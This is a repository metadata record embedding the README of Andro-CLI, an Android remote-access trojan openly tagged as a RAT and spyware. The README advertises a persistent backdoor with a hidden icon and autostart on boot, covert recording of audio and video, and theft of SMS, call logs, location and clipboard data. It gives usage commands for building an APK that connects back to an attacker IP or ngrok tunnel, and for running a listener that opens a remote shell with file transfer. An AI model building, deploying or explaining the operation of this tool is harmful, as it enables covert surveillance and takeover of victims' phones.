{"id":18430421,"url":"https://github.com/aryanvbw/andro-cli","last_synced_at":"2025-06-15T04:35:45.244Z","repository":{"id":153851439,"uuid":"613491888","full_name":"AryanVBW/Andro-CLI","owner":"AryanVBW","description":"Exploitation-Framework for Android devices - Framework that allows you to search for vulnerable android devices across the world and exploit them. A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side ","archived":false,"fork":false,"pushed_at":"2025-04-06T18:31:26.000Z","size":61615,"stargazers_count":49,"open_issues_count":3,"forks_count":8,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-06T18:33:31.600Z","etag":null,"topics":["android","android-haking","android-rat","ardroidhaking","aryanshop","aryanvbw","hacktoberfest","haking","kali","l3mon","lemon","rat","spyware","termux-hacking","termux-tool","vivek","vivek-w"],"latest_commit_sha":null,"homepage":"https://aryanvbw.github.io/Andro-CLI/","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AryanVBW.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-13T17:12:58.000Z","updated_at":"2025-04-06T18:31:29.000Z","dependencies_parsed_at":null,"dependency_job_id":"49662f9a-a47e-46f2-aeaa-d755559573f8","html_url":"https://github.com/AryanVBW/Andro-CLI","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AryanVBW%2FAndro-CLI","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AryanVBW%2FAndro-CLI/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AryanVBW%2FAndro-CLI/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AryanVBW%2FAndro-CLI/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AryanVBW","download_url":"https://codeload.github.com/AryanVBW/Andro-CLI/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247698112,"owners_count":20981300,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","android-haking","android-rat","ardroidhaking","aryanshop","aryanvbw","hacktoberfest","haking","kali","l3mon","lemon","rat","spyware","termux-hacking","termux-tool","vivek","vivek-w"],"created_at":"2024-11-06T05:20:43.126Z","updated_at":"2025-06-15T04:35:45.227Z","avatar_url":"https://github.com/AryanVBW.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/AryanVBW/Andro-CLI/releases/download/Logos/Bgless2.png\" height=\"100\"\u003e\u003cbr\u003e\nA python based remote android managment suite, powered by Python\n\u003c/p\u003e\n\n\n\nAndro-CLI is a tool designed to give the control of the android system remotely and retrieve informations from it. Andro-CLI is a client/server application developed in Java Android for the client side and the Server is in Python.\n\n##### Andro-vW will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)\n\n\u003e Andro-CLI also works on Android 10 (Q) but some of the interpreter command will be unstable. \n\n## Screenshots\n\n![Andro-CLI](Screenshots/5.png \"Andro-CLI in action\")\n## Features of Andro-CLI\u003cimg src=\"https://github.com/AryanVBW/Andro-CLI/releases/download/Logos/Bgless2.png\" height=\"20\"\u003e\n* Full persistent backdoor\n* Invisible icon on install\n* Light weight apk which runs 24*7 in background\n* App starts automatically on boot up \n* Can record audio, video, take picture from both camera\n* Browse call logs and SMS logs\n* Get current location, sim card details ,ip, mac address of the device\n\n\n## Prerequisites \nAndro-CLI requires \n - Python3\u003cimg src=\"https://raw.githubusercontent.com/AryanVBW/Andro-CLI/main/python-logo-only.png\" height=\"20\"\u003e\n - JAVA\u003cimg src=\"https://raw.githubusercontent.com/AryanVBW/Andro-CLI/main/Screenshots/java.png\" height=\"30\"\u003e (or Android Studio)\n- zipalign\n\n## Installation\n```\nwget https://github.com/AryanVBW/Andro-CLI/releases/download/ARDro2/androcli.zip \u0026\u0026 unzip androcli.zip\ncd androcli\npip install -r requirements.txt\n```\n\n### Using Virtual Environment (Recommended)\nIt's recommended to use a virtual environment to avoid conflicts with other Python packages:\n\n```bash\n# Install virtualenv if not installed\npip install virtualenv\n\n# Create a virtual environment\npython -m venv andro-env\n\n# Activate the virtual environment\n# On Windows\nandro-env\\Scripts\\activate\n# On macOS/Linux\nsource andro-env/bin/activate\n\n# Install requirements\npip install -r requirements.txt\n\n# When finished, deactivate the environment\ndeactivate\n```\n\n### Available Modes\n* `--build` - for building the android apk \n* `--ngrok` - for using ngrok tunnel (over the internet)\n* `--shell` - getting an interactive shell of the device\n\n### `build` mode\n\n```\nUsage:\n  python3 androcli.py --build --ngrok [flags]\n  Flags:\n    -p, --port              Attacker port number (optional by default its set to 8000)\n    -o, --output            Name for the apk file (optional by default its set to \"test.apk\")\n    -icon, --icon           Visible icon after installing apk (by default set to hidden)\n```\n\n```\nUsage:\n  python3 androcli.py --build [flags]\n  Flags:\n    -i, --ip                Attacker IP address (required)\n    -p, --port              Attacker port number (required)\n    -o, --output            Name for the apk file (optional)\n    -icon, --icon           Visible icon after installing apk (by default set to hidden)\n```\n\nOr you can manually build the apk by importing [Android Code](https://github.com/AryanVBW/Andro-CLI/releases/download/ARDro2/Android_Code.zip) folder to Android Studio and changing the IP address and port number in [config.java](https://raw.githubusercontent.com/AryanVBW/Andro-CLI/main/Screenshots/config.java) file and then you can generate the signed apk from `Android Studio -\u003e Build -\u003e Generate Signed APK(s)`\n### `shell` mode\n```\nUsage:\n  python3 androcli.py --shell [flags]\n  Flags:\n    -i, --ip                Listner IP address\n    -p, --port              Listner port number\n```\nAfter running the `shell` mode you will get an interpreter of the device  \n\nCommands which can run on the interpreter\n```\n    deviceInfo                 --\u003e returns basic info of the device\n    camList                    --\u003e returns cameraID  \n    takepic [cameraID]         --\u003e Takes picture from camera\n    startVideo [cameraID]      --\u003e starts recording the video\n    stopVideo                  --\u003e stop recording the video and return the video file\n    startAudio                 --\u003e starts recording the audio\n    stopAudio                  --\u003e stop recording the audio\n    getSMS [inbox|sent]        --\u003e returns inbox sms or sent sms in a file \n    getCallLogs                --\u003e returns call logs in a file\n    shell                      --\u003e starts a sh shell of the device\n    vibrate [number_of_times]  --\u003e vibrate the device number of time\n    getLocation                --\u003e return the current location of the device\n    getIP                      --\u003e returns the ip of the device\n    getSimDetails              --\u003e returns the details of all sim of the device\n    clear                      --\u003e clears the screen\n    getClipData                --\u003e return the current saved text from the clipboard\n    getMACAddress              --\u003e returns the mac address of the device\n    exit                       --\u003e exit the interpreter\n```\nIn the sh shell there are some sub commands\n```\n    get [full_file_path]        --\u003e donwloads the file to the local machine (file size upto 15mb)\n    put [filename]              --\u003e uploads the file to the android device\n```\n\n## Examples\n\n* To build the apk using ngrok which will also set the listner:\n```python3 androcli.py --build --ngrok -o try.apk```\n\n* To build the apk using desired ip and port:\n```python3 androcli.py --build -i 192.169.x.x -p 8000 -o try.apk```\n\n* To get the interpreter:\n```python3 androcli.py --shell -i 0.0.0.0 -p 8000```\n\n## Interpreter Examples\n* Generating APK\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"Screenshots/6.png\" width=\"800\"/\u003e\n\u003c/p\u003e\n------------------------------------------------------------------------------------------------------------------------------  \n\n* Some interpreter Commands \n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"Screenshots/1.png\" width=\"800\"/\u003e\n\u003c/p\u003e\n------------------------------------------------------------------------------------------------------------------------------\n\n#### Note: \nSet up port forwarding easily using [Pagekite](https://pagekite.net/) / [packetriot](https://packetriot.com/) for smoother device connections!\n\nWhile cloning the repository using Git bash on Windows, you may get the following error:\n\u003e error: unable to create file \\\u003cfilename\u003e: Filename too long\n\nThis is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename. \n\nYou can circumvent this by setting `core.longpaths` to `true`.\n\n\u003e git config --system core.longpaths true\n\nYou must run Git bash with administrator privileges. \n\n## Usage (Windows and Linux)\n\n* To get the control panel of the app dial `*#*#1337#*#*` (For now it has only two options `Restart Activity` and `Uninstall`)\n\u003e Note: In order to use this feature in some devices you need to enable the option `display pop-up windows running in background` from the settings.\n\n## TODO\n* set up protmap.io\n* Set up multi client\n* Add screenshot command\n* add Google firebase support \n\n## Special Thanks\n \u003ca href=\"https://twitter.com/karma9874\"\u003e*Niraj Singh*\n\n\u003cbr\u003e\n\u003cp align=\"center\"\u003eMade with ❤️ By \u003ca href=\"whiteDevilVBW@proton.me\"\u003e*Aryan*\u003c/a\u003e\u003c/p\u003e\n\u003cp align=\"center\" style=\"font-size: 8px\"\u003ev1.1.2\u003c/p\u003e\n\n**Disclaimer** : This software is meant for educational purposes only. we are not responsible for any malicious use of the app.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faryanvbw%2Fandro-cli","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faryanvbw%2Fandro-cli","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faryanvbw%2Fandro-cli/lists"}